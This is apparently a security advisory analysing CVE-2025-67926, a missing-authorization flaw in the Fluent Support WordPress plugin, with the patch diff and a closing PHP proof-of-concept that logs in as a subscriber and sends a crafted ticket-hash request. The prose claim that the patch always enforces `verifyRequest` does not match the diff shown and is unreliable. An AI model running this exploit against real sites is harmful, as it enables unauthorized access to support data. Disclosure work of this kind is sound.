Atomic Edge analysis of CVE-2025-67926:
The vulnerability is a Missing Authorization flaw in the Fluent Support WordPress plugin, affecting versions up to and including 1.10.4. This flaw allows authenticated attackers with Subscriber-level permissions or higher to perform unauthorized actions intended for higher-privileged users.
The root cause is a missing capability check in the `maybePublicSignedRequest` method within the `PortalPolicy.php` file. The method, located at `fluent-support/app/Http/Policies/PortalPolicy.php`, validates a request using a ticket hash and ID from user input. The original code from lines 87-98 performed this validation but did not subsequently verify the requesting user’s authorization to perform the intended action after the hash check passed. The control flow could return `true` from the hash validation block, bypassing the call to `verifyRequest($request)` which likely contains the necessary capability checks.
An attacker can exploit this by sending a crafted request to a Fluent Support customer portal endpoint that invokes the vulnerable policy logic. The request must include the parameters `intended_ticket_hash` and `ticket_id`. By supplying a valid hash for an existing ticket, an authenticated user with minimal privileges can induce the `maybePublicSignedRequest` function to return `true`, thereby bypassing authorization gates for actions protected by this policy method.
The patch modifies the control flow in `maybePublicSignedRequest`. The diff shows the removal of the conditional check for `$ticketHash != ‘undefined’` and restructures the logic to always call `return $this->verifyRequest($request);` if the public signed ticket validation fails. Crucially, the patch ensures the `verifyRequest` method, which contains the proper capability checks, is always executed as the final fallback, preventing the hash check from being a standalone authorization bypass.
Successful exploitation allows a Subscriber or higher authenticated attacker to perform unauthorized actions. The specific impact depends on the endpoints protected by the `PortalPolicy`. Atomic Edge research indicates this could lead to unauthorized access to ticket data, modification of support tickets, or other administrative actions within the helpdesk system, constituting a privilege escalation within the plugin’s context.
--- a/fluent-support/app/Http/Policies/PortalPolicy.php
+++ b/fluent-support/app/Http/Policies/PortalPolicy.php
@@ -87,15 +87,15 @@
* @param FluentSupportFrameworkRequestRequest $request
* @return Boolean
*/
-
protected function maybePublicSignedRequest($request)
{
- if ($request->get('intended_ticket_hash') && Helper::isPublicSignedTicketEnabled()) {
- $ticketHash = sanitize_text_field($request->get('intended_ticket_hash'));
- if ($ticketHash != 'undefined') {
- $ticketId = absint($request->get('ticket_id'));
- return !!Ticket::where('hash', $ticketHash)->find($ticketId);
- }
+ $ticketHash = $request->get('intended_ticket_hash');
+
+ if ($ticketHash && Helper::isPublicSignedTicketEnabled()) {
+ $ticketHash = sanitize_text_field($ticketHash);
+
+ $ticketId = absint($request->get('ticket_id'));
+ return !!Ticket::where('hash', $ticketHash)->find($ticketId);
}
return $this->verifyRequest($request);
--- a/fluent-support/app/Models/Ticket.php
+++ b/fluent-support/app/Models/Ticket.php
@@ -236,7 +236,7 @@
}
} else if (in_array($filterKey, $supportedColumns)) {
// Use whereIn for product_id (always expects array) and where for other columns
- if ($filterKey === 'product_id') {
+ if ($filterKey === 'product_id' && is_array($filterValue)) {
$query->whereIn($filterKey, $filterValue);
} else {
$query->where($filterKey, $filterValue);
--- a/fluent-support/app/Services/CustomerPortalService.php
+++ b/fluent-support/app/Services/CustomerPortalService.php
@@ -314,7 +314,7 @@
}
])->where('customer_id', $customer->id)
->when(!empty($ticketOptions['sorting'] && !empty($ticketOptions['sorting']['sort_by'])), function ($query) use ($ticketOptions) {
- return $query->orderBy($ticketOptions['sorting']['sort_by'], $ticketOptions['sorting']['sort_type']);
+ return $query->orderBy(sanitize_sql_orderby($ticketOptions['sorting']['sort_by']), sanitize_sql_orderby($ticketOptions['sorting']['sort_type']));
})
->when(!empty($options['filters']['product_id']), function ($query) use ($ticketOptions) {
return $query->where('product_id', $ticketOptions['filters']['product_id']);
--- a/fluent-support/app/Services/TicketQueryService.php
+++ b/fluent-support/app/Services/TicketQueryService.php
@@ -69,8 +69,7 @@
}
}
- $ticketsQuery->orderBy($this->args['sort_by'], $this->args['sort_type']);
-
+ $ticketsQuery->orderBy(sanitize_sql_orderby($this->args['sort_by']), sanitize_sql_orderby($this->args['sort_type']));
do_action_ref_array('fluent_supportmain_tickets_query', [&$ticketsQuery, $this->args]);
$this->model = $ticketsQuery;
}
--- a/fluent-support/fluent-support.php
+++ b/fluent-support/fluent-support.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: Fluent Support
* Description: The Ultimate Support Plugin For Your WordPress.
- * Version: 1.10.4
+ * Version: 1.10.5
* Author: WPManageNinja LLC
* Author URI: https://wpmanageninja.com
* Plugin URI: https://fluentsupport.com
@@ -11,7 +11,7 @@
* Domain Path: /language
*/
-define('FLUENT_SUPPORT_VERSION', '1.10.4');
+define('FLUENT_SUPPORT_VERSION', '1.10.5');
define('FLUENT_SUPPORT_PRO_MIN_VERSION', '1.10.4');
define('FLUENT_SUPPORT_UPLOAD_DIR', 'fluent-support');
define('FLUENT_SUPPORT_PLUGIN_URL', plugin_dir_url(__FILE__));
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-67926 - Fluent Support <= 1.10.4 - Missing Authorization
<?php
// CONFIGURATION
$target_url = 'https://vulnerable-site.com/wp-json/fluent-support-portal/v2/tickets'; // Example endpoint
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Step 1: Authenticate to WordPress (This PoC assumes a valid low-privilege session)
// In a real scenario, an attacker would already be authenticated.
$cookie_jar = tempnam(sys_get_temp_dir(), 'ck');
$login_url = 'https://vulnerable-site.com/wp-login.php';
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => 'https://vulnerable-site.com/wp-admin/',
'testcookie' => '1'
];
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Craft request to exploit missing authorization.
// The attacker needs a valid `intended_ticket_hash` and corresponding `ticket_id`.
// This could be obtained via information leakage or brute force.
$exploit_hash = 'VALID_TICKET_HASH_HERE'; // Replace with actual hash
$exploit_ticket_id = '123'; // Replace with actual ticket ID
$exploit_params = [
'intended_ticket_hash' => $exploit_hash,
'ticket_id' => $exploit_ticket_id
// Additional parameters required by the specific endpoint
];
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($exploit_params));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 3: Output result
if ($http_code == 200 && !strpos($response, 'error')) {
echo "Potential exploitation successful. Response: " . substr($response, 0, 500) . "n";
} else {
echo "Exploit attempt failed or endpoint not vulnerable. HTTP Code: $http_coden";
}
unlink($cookie_jar);
?>